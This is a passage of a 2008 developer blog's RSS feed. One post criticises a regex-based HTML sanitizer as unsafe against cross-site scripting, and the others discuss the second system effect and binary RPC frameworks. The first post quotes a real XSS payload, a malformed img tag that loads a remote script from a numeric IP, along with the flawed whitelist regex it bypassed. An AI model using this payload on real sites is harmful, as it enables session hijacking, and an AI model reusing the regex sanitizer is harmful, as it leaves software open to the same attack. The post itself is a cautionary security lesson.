wrote to strip out dangerous HTML from input. This is extracted from &lt;/em&gt;&lt;a href="http://refactormycode.com/codes/333-sanitize-html"&gt;&lt;em&gt;the
SanitizeHtml routine&lt;/em&gt;&lt;/a&gt;&lt;em&gt; I posted on RefactorMyCode. &lt;/em&gt;
&lt;/p&gt;
&lt;pre&gt;&lt;em&gt;var whitelist = @&amp;quot;&amp;lt;/?p&amp;gt;|&amp;lt;br\s?/?&amp;gt;|&amp;lt;/?b&amp;gt;|&amp;lt;/?strong&amp;gt;|&amp;lt;/?i&amp;gt;|&amp;lt;/?em&amp;gt;|
&amp;lt;/?s&amp;gt;|&amp;lt;/?strike&amp;gt;|&amp;lt;/?blockquote&amp;gt;|&amp;lt;/?sub&amp;gt;|&amp;lt;/?super&amp;gt;| &amp;lt;/?h(1|2|3)&amp;gt;|&amp;lt;/?pre&amp;gt;|&amp;lt;hr\s?/?&amp;gt;|&amp;lt;/?code&amp;gt;|&amp;lt;/?ul&amp;gt;|
&amp;lt;/?ol&amp;gt;|&amp;lt;/?li&amp;gt;|&amp;lt;/a&amp;gt;|&amp;lt;a[^&amp;gt;]+&amp;gt;|&amp;lt;img[^&amp;gt;]+/?&amp;gt;&amp;quot;; &lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;em&gt;What do you see here? The variable name whitelist is a strong hint. One thing
I like about regular expressions is that they generally look like what they're matching.
You see a list of HTML tags, right? Maybe with and without their closing tags?&lt;/em&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The problem Jeff was trying to solve is how to allow a subset of HTML tags while stripping
out all other HTML so as to prevent cross site scripting (XSS) attacks. The problem
with Jeff's approach which was pointed out in the comments by many people including &lt;a href="http://simonwillison.net/2007/Mar/12/xss/"&gt;Simon
Willison&lt;/a&gt; is that using regexes to filter HTML input in this way assumes that you
will get fairly well-formed HTML. The problem with that approach which &lt;em&gt;many developers
have found out the hard way&lt;/em&gt; is that you also have to worry about malformed HTML
due to the liberal HTML parsing policies of many modern Web browsers. Thus to use
this approach you have to pretty much reverse engineer every HTML parsing quirk of
common browsers if you don't want to end up storing HTML which looks safe but actually
contains an exploit. Thus to utilize this approach Jeff really should have been looking
at using a full fledged HTML parser such as &lt;a href="http://wiki.developer.mindtouch.com/Community/SgmlReader"&gt;SgmlReader&lt;/a&gt; or &lt;a href="http://www.crummy.com/software/BeautifulSoup/"&gt;Beautiful
Soup&lt;/a&gt; instead of regular expressions.
&lt;/p&gt;
&lt;p&gt;
It didn't take long for the users of StackOverflow.com to show Jeff the error of his
ways as evidenced by his post &lt;a href="http://www.codinghorror.com/blog/archives/001167.html"&gt;Protecting
Your Cookies: HttpOnly&lt;/a&gt; where he acknowledges his mistake as follows 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;So I have this friend. I've told him time and time again &lt;/em&gt;&lt;a href="http://blog.stackoverflow.com/2008/06/safe-html-and-xss/"&gt;&lt;em&gt;how
dangerous XSS vulnerabilities are&lt;/em&gt;&lt;/a&gt;&lt;em&gt;, and how &lt;/em&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;&lt;em&gt;XSS&lt;/em&gt;&lt;/a&gt;&lt;em&gt; is
now &lt;u&gt;the most common of all publicly reported security vulnerabilities&lt;/u&gt; -- dwarfing &lt;/em&gt;&lt;a href="http://www.codinghorror.com/blog/archives/000841.html"&gt;&lt;em&gt;old
standards&lt;/em&gt;&lt;/a&gt;&lt;em&gt; like buffer overruns and SQL injection. But will he listen?
No. He's hard headed. He had to go and write &lt;/em&gt;&lt;a href="http://refactormycode.com/codes/333-sanitize-html"&gt;&lt;em&gt;his
own HTML sanitizer&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. Because, well, how difficult can it be? How dangerous
could this silly little toy scripting language running inside a browser be? &lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;As it turns out, far more dangerous than expected. &lt;/em&gt; 
&lt;br /&gt;
&lt;em&gt;…&lt;/em&gt; 
&lt;br /&gt;
&lt;em&gt;Imagine, then, the surprise of my friend when he noticed some enterprising users
on his website &lt;u&gt;were logged in as him&lt;/u&gt; and happily banging away on the system
with full unfettered administrative privileges. &lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;How did this happen? XSS, of course. It all started with this bit of script added
to a user's profile page. &lt;/em&gt;
&lt;/p&gt;
&lt;pre&gt;&lt;em&gt;&amp;lt;img src=&amp;quot;&amp;quot;http://www.a.com/a.jpg&amp;lt;script type=text/javascript
src=&amp;quot;http://1.2.3.4:81/xss.js&amp;quot;&amp;gt;&amp;quot; /&amp;gt;&amp;lt;&amp;lt;img src=&amp;quot;&amp;quot;http://www.a.com/a.jpg&amp;lt;/script&amp;gt;&amp;quot; &lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;em&gt;Through clever construction, the malformed URL just manages to squeak past the
sanitizer. The final rendered code, when viewed in the browser, loads and executes
a script from that remote server.&amp;#160; &lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The sad thing is that Jeff Atwood isn't the first nor will he be the last programmer
to think to himself &amp;quot;It's just HTML sanitization, how hard can it be?&amp;quot;.
There are many lists of &lt;a href="http://blogs.msdn.com/hackers/archive/2007/11/12/first-line-of-defense-for-web-applications-part-4.aspx"&gt;Top
HTML Validation Bloopers&lt;/a&gt; that show tricky it is to get the right solution to this
seemingly trivial problem. Additionally, it is sad to note that despite his recent
experience, Jeff Atwood still argues that he'd rather make his own mistakes than blindly
inherit the mistakes of others as justification for continuing to reinvent the wheel
in the future. That is unfortunate given that is a bad attitude for a professional
software developer to have. 
&lt;/p&gt;
&lt;p&gt;
Rolling your own solution to a common problem should be the last option on your list
not the first. Otherwise, you might just end up a candidate for &lt;a href="http://thedailywtf.com/"&gt;The
Daily WTF&lt;/a&gt; and deservedly so.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing:&lt;/b&gt; &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=T-Pain&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;T-Pain&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=T-Pain+Cant Believe It (feat. Lil Wayne)&amp;amp;x=0&amp;amp;y=0"&gt;Cant
Believe It (feat. Lil Wayne)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=2435b2b1-29f5-42e7-933d-773852d466e7" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,2435b2b1-29f5-42e7-933d-773852d466e7.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=f67fb653-d12a-49c4-8329-4d368449ae3d</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,f67fb653-d12a-49c4-8329-4d368449ae3d.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,f67fb653-d12a-49c4-8329-4d368449ae3d.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=f67fb653-d12a-49c4-8329-4d368449ae3d</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
One of the valuable ideas from Frederick Brooks' classic <a href="http://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959">The
Mythical Man Month</a> is the notion of the second system effect when designing software
systems. The following is an excerpt from the book where the concept is introduced
</p>
        <blockquote>
          <p>
            <em>An architect’s first work is apt to be spare and clean. He knows he doesn’t know
what he’s doing, so he does it carefully and with great restraint.</em>
          </p>
          <p>
            <em>As he designs the first work, frill after frill and embellishment after embellishment
occur to him. These get stored away to be used “next time.” Sooner or later the first
system is finished, and the architect, with firm confidence and a demonstrated mastery
of that class of systems, is ready to build a second system.</em>
          </p>
          <p>
            <em>This second is the most dangerous system a man ever designs. When he does his
third and later ones, his prior experiences will confirm each other as to the general
characteristics of such systems, and their differences will identify those parts of
his experience that are particular and not generalizable.</em>
          </p>
          <p>
            <em>The general tendency is to over-design the second system, using all the ideas
and frills that were cautiously sidetracked on the first one.</em>
          </p>
        </blockquote>
        <p>
In my experience, the second system effect doesn't just come into play when the creator(s)
of the second system also worked on the first system. In many cases, a development
team may be brought in to build a new version of a first system either because they
are competitors trying to one up a successful product or they are building the next
generation of the technology while the original team goes into "maintenance mode"
(i.e. shades of <a href="http://en.wikipedia.org/wiki/The_Soul_of_a_New_Machine">The
Soul of a New Machine</a>). In such situations, the builders of the second system
can fall into the trap that Frederick Brooks describes in chapter 5 of Mythical Man
Month. 
</p>
        <p>
At almost any point in time over the past few years, I could easily count about three
or four software projects I was personally familiar with that were making classic
"second system" mistakes. However instead of vilifying these projects, I
thought it would be useful to list the top three things I've seen that have separated
second systems that have avoided falling into this trap and those that haven't. 
</p>
        <h3>Realize You Can't Do It All In One Release
</h3>
        <p>
A lot of projects lose their way because they try do a too much in a single release.
As Raymond Chen wrote <a href="http://blogs.msdn.com/oldnewthing/archive/2007/03/21/1922203.aspx#1926479">You
don't know what you do until you know what you don't do</a>. Until you start focusing
on a key set of scenarios your product will nail and start cutting features that aren't
necessary to hitting those scenarios, your project isn't ready for prime time. What
developers often fail to remember is that there is always another version and you
can fit those scenarios in at that point. 
</p>
        <p>
One company that gets this idea very well is Apple. I can still remember Cmdr Taco's
infamous review of the original iPod when it ran in 2001; "<a href="http://apple.slashdot.org/article.pl?sid=01/10/23/1816257&amp;tid=107">No
wireless. Less space than a nomad. Lame.</a>" However the iPod nailed its key
scenarios and with that success kept expanding its set of key scenarios (more space,
video, photos, etc) until it became the cultural juggernaut it is today. You can see
the same qualities in the iPhone. Just a few months ago, you'd read articles like <a href="http://news.cnet.com/8301-17939_109-9774070-2.html">Final
report: The iPhone is not open for business</a> that argued against the iPhone because
it didn't support 3G, lacked Exchange support and had a non-existent developer platform.
However the original iPhone was still successful and they addressed these issues in
the next version to even greater success. 
</p>
        <h3>You Can be Date Driven or Feature Driven but not Both
</h3>
        <p>
A date driven release is one where everyone on the team is working to hit a particular
time cut off after which the product will ship with or without their feature. Software
products that have to hit the back to school cycle, tax time or the holiday shopping
cycle are often date driven. A feature driven software release takes the "we
won't ship it until it is ready approach" which is popular among Open Source
projects and at companies like Google (<a title="Good Agile, Bad Agile" href="http://steve-yegge.blogspot.com/2006/09/good-agile-bad-agile_27.html">according
to Steve Yegge</a>). 
</p>
        <p>
The thing to note about both approaches is that they are built on compromise. In that,
we will compromise on our ship date but not on our features or vice versa. Where software
projects tend to go awry is when they decide to be both feature driven and date driven
because it means they have left no room to compromise.  This is additionally
problematic because we are so poor at project estimation in our industry. So at the
start of a project you have features that should take a two years to ship only budgeted
as needing a year of work. In a date driven release, once this discrepancy is realized
it is at that point features start getting cut or "placed below the cut line".
In a feature driven release, the ship date is adjusted and ship expectations adjusted. 
</p>
        <p>
Projects that are both feature driven and date driven (i.e. we have to ship features
X, Y &amp; Z on date A) end up delaying these decisions until the last minute since
they aren't mentally setup to compromise on either the date or the features. So they
end up doing neither until the very last minute. This leads to missed deadlines, hastily
cut features and demoralization within the product team. This often continues for
multiple deadlines until finally the project team gets to the point where they feel
they must show something for all the missed deadlines and cut features by throwing
together a mediocre release after the one too many missed deadlines. We've all seen
software projects that have succumbed to this and it is a sad sight to behold. 
</p>
        <h3>Don't Lose Track of What Made the First System Successful
</h3>
        <p>
Developers tend to be a fairly critical lot so when they look at a successful "first
system", they often only see the flaws. This is often what fuels the second system
effect and leads to losing sight of why the first system became a hit in the first
place. A recent example of this is the search engine <a href="http://www.cuil.com/">Cuil</a> which
was started by some former employees of Google with the intent of building a search
engine which fixes the issues with Google's search engine. Unfortunately, they had
a disastrous product launch which has been documented in blog posts like <a href="http://www.techcrunch.com/2008/07/29/how-to-lose-your-cuil-20-seconds-after-launch/">How
To Lose Your Cuil 20 Seconds After Launch</a> and news articles such as <a href="http://news.cnet.com/cuil-shows-us-how-not-to-launch-a-search-engine/">Cuil
shows us how not to launch a search engine</a>. 
</p>
        <p>
When you look back at the <a href="http://www.techmeme.com/080728/p5#a080728p5">PR
buildup leading to Cuil's launch</a>, it is interesting to note that even though the
Cuil team dubbed themselves Google slayers they did not address the key things people
like about Google's search. Google's search provides <strong><u>relevant</u></strong> search
results as quickly as possible. Cuil bragged about providing more complete results
because their search index was bigger, showing more results above the fold by going
with three columns in their search engine results page and that it offered richer
query refinement features than Google. Although all of these are weaknesses in Google's
user experience they are trumped by the fact that Google provides extremely relevant
search results.  The Cuil team lost sight of this, probably because working at
Google they only ever talked about fixing the flaws in the search product instead
of also internalizing what has made it so successful. 
</p>
        <p>
This is an extremely common mistake that cuts across all categories of software products. 
</p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
          <b>Now Playing:</b>
          <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Young Jeezy&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Young
Jeezy</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Young Jeezy+Motivation&amp;x=0&amp;y=0">Motivation</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f67fb653-d12a-49c4-8329-4d368449ae3d" />
      </body>
      <title>Avoiding the Second System Effect in Software Development</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,f67fb653-d12a-49c4-8329-4d368449ae3d.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/08/04/AvoidingTheSecondSystemEffectInSoftwareDevelopment.aspx</link>
      <pubDate>Mon, 04 Aug 2008 10:56:10 GMT</pubDate>
      <description>&lt;p&gt;
One of the valuable ideas from Frederick Brooks' classic &lt;a href="http://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959"&gt;The
Mythical Man Month&lt;/a&gt; is the notion of the second system effect when designing software
systems. The following is an excerpt from the book where the concept is introduced
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;An architect’s first work is apt to be spare and clean. He knows he doesn’t know
what he’s doing, so he does it carefully and with great restraint.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;As he designs the first work, frill after frill and embellishment after embellishment
occur to him. These get stored away to be used “next time.” Sooner or later the first
system is finished, and the architect, with firm confidence and a demonstrated mastery
of that class of systems, is ready to build a second system.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;This second is the most dangerous system a man ever designs. When he does his
third and later ones, his prior experiences will confirm each other as to the general
characteristics of such systems, and their differences will identify those parts of
his experience that are particular and not generalizable.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;The general tendency is to over-design the second system, using all the ideas
and frills that were cautiously sidetracked on the first one.&lt;/em&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
In my experience, the second system effect doesn't just come into play when the creator(s)
of the second system also worked on the first system. In many cases, a development
team may be brought in to build a new version of a first system either because they
are competitors trying to one up a successful product or they are building the next
generation of the technology while the original team goes into &amp;quot;maintenance mode&amp;quot;
(i.e. shades of &lt;a href="http://en.wikipedia.org/wiki/The_Soul_of_a_New_Machine"&gt;The
Soul of a New Machine&lt;/a&gt;). In such situations, the builders of the second system
can fall into the trap that Frederick Brooks describes in chapter 5 of Mythical Man
Month. 
&lt;/p&gt;
&lt;p&gt;
At almost any point in time over the past few years, I could easily count about three
or four software projects I was personally familiar with that were making classic
&amp;quot;second system&amp;quot; mistakes. However instead of vilifying these projects, I
thought it would be useful to list the top three things I've seen that have separated
second systems that have avoided falling into this trap and those that haven't. 
&lt;/p&gt;
&lt;h3&gt;Realize You Can't Do It All In One Release
&lt;/h3&gt;
&lt;p&gt;
A lot of projects lose their way because they try do a too much in a single release.
As Raymond Chen wrote &lt;a href="http://blogs.msdn.com/oldnewthing/archive/2007/03/21/1922203.aspx#1926479"&gt;You
don't know what you do until you know what you don't do&lt;/a&gt;. Until you start focusing
on a key set of scenarios your product will nail and start cutting features that aren't
necessary to hitting those scenarios, your project isn't ready for prime time. What
developers often fail to remember is that there is always another version and you
can fit those scenarios in at that point. 
&lt;/p&gt;
&lt;p&gt;
One company that gets this idea very well is Apple. I can still remember Cmdr Taco's
infamous review of the original iPod when it ran in 2001; &amp;quot;&lt;a href="http://apple.slashdot.org/article.pl?sid=01/10/23/1816257&amp;amp;tid=107"&gt;No
wireless. Less space than a nomad. Lame.&lt;/a&gt;&amp;quot; However the iPod nailed its key
scenarios and with that success kept expanding its set of key scenarios (more space,
video, photos, etc) until it became the cultural juggernaut it is today. You can see
the same qualities in the iPhone. Just a few months ago, you'd read articles like &lt;a href="http://news.cnet.com/8301-17939_109-9774070-2.html"&gt;Final
report: The iPhone is not open for business&lt;/a&gt; that argued against the iPhone because
it didn't support 3G, lacked Exchange support and had a non-existent developer platform.
However the original iPhone was still successful and they addressed these issues in
the next version to even greater success. 
&lt;/p&gt;
&lt;h3&gt;You Can be Date Driven or Feature Driven but not Both
&lt;/h3&gt;
&lt;p&gt;
A date driven release is one where everyone on the team is working to hit a particular
time cut off after which the product will ship with or without their feature. Software
products that have to hit the back to school cycle, tax time or the holiday shopping
cycle are often date driven. A feature driven software release takes the &amp;quot;we
won't ship it until it is ready approach&amp;quot; which is popular among Open Source
projects and at companies like Google (&lt;a title="Good Agile, Bad Agile" href="http://steve-yegge.blogspot.com/2006/09/good-agile-bad-agile_27.html"&gt;according
to Steve Yegge&lt;/a&gt;). 
&lt;/p&gt;
&lt;p&gt;
The thing to note about both approaches is that they are built on compromise. In that,
we will compromise on our ship date but not on our features or vice versa. Where software
projects tend to go awry is when they decide to be both feature driven and date driven
because it means they have left no room to compromise.&amp;#160; This is additionally
problematic because we are so poor at project estimation in our industry. So at the
start of a project you have features that should take a two years to ship only budgeted
as needing a year of work. In a date driven release, once this discrepancy is realized
it is at that point features start getting cut or &amp;quot;placed below the cut line&amp;quot;.
In a feature driven release, the ship date is adjusted and ship expectations adjusted. 
&lt;/p&gt;
&lt;p&gt;
Projects that are both feature driven and date driven (i.e. we have to ship features
X, Y &amp;amp; Z on date A) end up delaying these decisions until the last minute since
they aren't mentally setup to compromise on either the date or the features. So they
end up doing neither until the very last minute. This leads to missed deadlines, hastily
cut features and demoralization within the product team. This often continues for
multiple deadlines until finally the project team gets to the point where they feel
they must show something for all the missed deadlines and cut features by throwing
together a mediocre release after the one too many missed deadlines. We've all seen
software projects that have succumbed to this and it is a sad sight to behold. 
&lt;/p&gt;
&lt;h3&gt;Don't Lose Track of What Made the First System Successful
&lt;/h3&gt;
&lt;p&gt;
Developers tend to be a fairly critical lot so when they look at a successful &amp;quot;first
system&amp;quot;, they often only see the flaws. This is often what fuels the second system
effect and leads to losing sight of why the first system became a hit in the first
place. A recent example of this is the search engine &lt;a href="http://www.cuil.com/"&gt;Cuil&lt;/a&gt; which
was started by some former employees of Google with the intent of building a search
engine which fixes the issues with Google's search engine. Unfortunately, they had
a disastrous product launch which has been documented in blog posts like &lt;a href="http://www.techcrunch.com/2008/07/29/how-to-lose-your-cuil-20-seconds-after-launch/"&gt;How
To Lose Your Cuil 20 Seconds After Launch&lt;/a&gt; and news articles such as &lt;a href="http://news.cnet.com/cuil-shows-us-how-not-to-launch-a-search-engine/"&gt;Cuil
shows us how not to launch a search engine&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
When you look back at the &lt;a href="http://www.techmeme.com/080728/p5#a080728p5"&gt;PR
buildup leading to Cuil's launch&lt;/a&gt;, it is interesting to note that even though the
Cuil team dubbed themselves Google slayers they did not address the key things people
like about Google's search. Google's search provides &lt;strong&gt;&lt;u&gt;relevant&lt;/u&gt;&lt;/strong&gt; search
results as quickly as possible. Cuil bragged about providing more complete results
because their search index was bigger, showing more results above the fold by going
with three columns in their search engine results page and that it offered richer
query refinement features than Google. Although all of these are weaknesses in Google's
user experience they are trumped by the fact that Google provides extremely relevant
search results.&amp;#160; The Cuil team lost sight of this, probably because working at
Google they only ever talked about fixing the flaws in the search product instead
of also internalizing what has made it so successful. 
&lt;/p&gt;
&lt;p&gt;
This is an extremely common mistake that cuts across all categories of software products. 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing:&lt;/b&gt; &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Young Jeezy&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Young
Jeezy&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Young Jeezy+Motivation&amp;amp;x=0&amp;amp;y=0"&gt;Motivation&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f67fb653-d12a-49c4-8329-4d368449ae3d" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,f67fb653-d12a-49c4-8329-4d368449ae3d.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=898f56ef-0439-4100-90da-08701be03c13</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,898f56ef-0439-4100-90da-08701be03c13.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,898f56ef-0439-4100-90da-08701be03c13.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=898f56ef-0439-4100-90da-08701be03c13</wfw:commentRss>
      <slash:comments>9</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
In the past year both Google and Facebook have released the remote procedure call
(RPC) technologies that are used for communication between servers within their data
centers as Open Source projects.  
</p>
        <p>
          <a href="http://developers.facebook.com/thrift/">Facebook Thrift</a> allows you to
define data types and service interfaces in a <a href="http://developers.facebook.com/thrift/tutorial.thrift">simple
definition file</a>. Taking that file as input, the compiler <a href="http://developers.facebook.com/thrift/Calculator.h">generates
code</a> to be used to easily build RPC clients and servers that communicate seamlessly
across programming languages. It supports the following programming languages; C++,
Java, Python, PHP and Ruby. 
</p>
        <p>
          <a title="http://code.google.com/p/protobuf/" href="http://code.google.com/p/protobuf/">Google
Protocol Buffers</a> allows you to define data types and service interfaces in a <a href="http://code.google.com/apis/protocolbuffers/docs/proto.html">simple
definition file</a>. Taking that file as input, the compiler <a href="http://code.google.com/apis/protocolbuffers/docs/reference/cpp-generated.html">generates
code</a> to be used to easily build RPC clients and servers that communicate seamlessly
across programming languages. It supports the following programming languages; C++,
Java and Python. 
</p>
        <p>
That’s interesting. Didn’t Steve Vinoski recently claim that <a title="Convenience over Correctness" href="http://steve.vinoski.net/blog/2008/07/01/convenience-over-correctness/">RPC
and it's descendants are "fundamentally flawed"</a>? If so, why are Google
and Facebook not only using RPC but proud enough of their usage of yet another distributed
object RPC technology <em>based on binary protocols</em> that they are Open Sourcing
them? Didn’t they get the memo that everyone is now on the REST + JSON/XML bandwagon
(<a href="http://www.tbray.org/ongoing/When/200x/2008/07/07/Atom">preferrably AtomPub</a>)? 
</p>
        <p>
In truth, Google is on the REST + XML band wagon. Google has the Google Data APIs
(<a href="http://code.google.com/apis/gdata/">GData</a>) which is a consistent set
of RESTful APIs for accessing data from Google's services based on the Atom Publishing
Protocol aka RFC 5023. And even Facebook has a set of plain old XML over HTTP APIs
(POX/HTTP) which they <strong>incorrectly</strong> refer to as the <a href="http://wiki.developers.facebook.com/index.php/API">Facebook
REST API</a>. 
</p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
So what is the story here? 
</p>
        <p>
It is all about coupling and how much control you have over the distributed end points.
On the Web where you have little to no control over who talks to your servers or what
technology they use, you want to utilize flexible technologies that make no assumptions
about either end of the communication. This is where RESTful XML-based Web services
shine. However when you have tight control over the service end points (e.g. if they
are all your servers running in your data center) then you can use more optimized
communications technologies that add a layer of tight coupling to your system. An
example of the kind of tight coupling you have to live with is that  Facebook
Thrift requires specific versions of g++ and Java if you plan to talk to it using
code written in either language and you can’t talk to it from a service written in
C#. 
</p>
        <p>
In general, the Web is about openness and loose coupling. Binary protocols that require
specific programming languages and runtimes are the exact opposite of this. However
inside your Web service where you control both ends of the pipe, you can optimize
the interaction between your services and simplify development by going with a binary
RPC based technology. More than likely different parts of your system are already
doing this anyway (e.g. <a href="http://www.danga.com/memcached/">memcached</a> uses
a binary protocol to talk between cache instances, SQL Server uses <a href="http://msdn.microsoft.com/en-us/library/cc448435.aspx">TDS</a> as
the communications protocol between the database and it's clients, etc). 
</p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
        </p>
        <p>
Always remember to use the right tool for the job. One size doesn’t fit all when it
comes to technology decisions. 
</p>
        <p>
FURTHER READING 
</p>
        <ul>
          <li>
            <a href="http://keithelder.net/blog/archive/2008/01/17/Exposing-a-WCF-Service-With-Multiple-Bindings-and-Endpoints.aspx">Exposing
a WCF Service With Multiple Bindings and Endpoints</a> – Keith Elder describes how
Windows Communication Foundation (WCF) supports multiple bindings that enable developers
to expose their services in a variety of ways.  A developer can create a service
once and then expose it to support net.tcp:// or http:// and various versions of http://
(Soap1.1, Soap1.2, WS*, JSON, etc).  This can be useful if a service crosses
boundaries between the intranet and the Internet. 
</li>
        </ul>
        <p>
          <b>Now Playing:</b>
          <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Pink&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Pink</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Pink+Family Portrait&amp;x=0&amp;y=0">Family
Portrait</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=898f56ef-0439-4100-90da-08701be03c13" />
      </body>
      <title>The Revenge of RPC: Google Protocol Buffers and Facebook Thrift</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,898f56ef-0439-4100-90da-08701be03c13.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/07/10/TheRevengeOfRPCGoogleProtocolBuffersAndFacebookThrift.aspx</link>
      <pubDate>Thu, 10 Jul 2008 14:23:19 GMT</pubDate>
      <description>&lt;p&gt;
In the past year both Google and Facebook have released the remote procedure call
(RPC) technologies that are used for communication between servers within their data
centers as Open Source projects.&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://developers.facebook.com/thrift/"&gt;Facebook Thrift&lt;/a&gt; allows you to
define data types and service interfaces in a &lt;a href="http://developers.facebook.com/thrift/tutorial.thrift"&gt;simple
definition file&lt;/a&gt;. Taking that file as input, the compiler &lt;a href="http://developers.facebook.com/thrift/Calculator.h"&gt;generates
code&lt;/a&gt; to be used to easily build RPC clients and servers that communicate seamlessly
across programming languages. It supports the following programming languages; C++,
Java, Python, PHP and Ruby. 
&lt;/p&gt;
&lt;p&gt;
&lt;a title="http://code.google.com/p/protobuf/" href="http://code.google.com/p/protobuf/"&gt;Google
Protocol Buffers&lt;/a&gt; allows you to define data types and service interfaces in a &lt;a href="http://code.google.com/apis/protocolbuffers/docs/proto.html"&gt;simple
definition file&lt;/a&gt;. Taking that file as input, the compiler &lt;a href="http://code.google.com/apis/protocolbuffers/docs/reference/cpp-generated.html"&gt;generates
code&lt;/a&gt; to be used to easily build RPC clients and servers that communicate seamlessly
across programming languages. It supports the following programming languages; C++,
Java and Python. 
&lt;/p&gt;
&lt;p&gt;
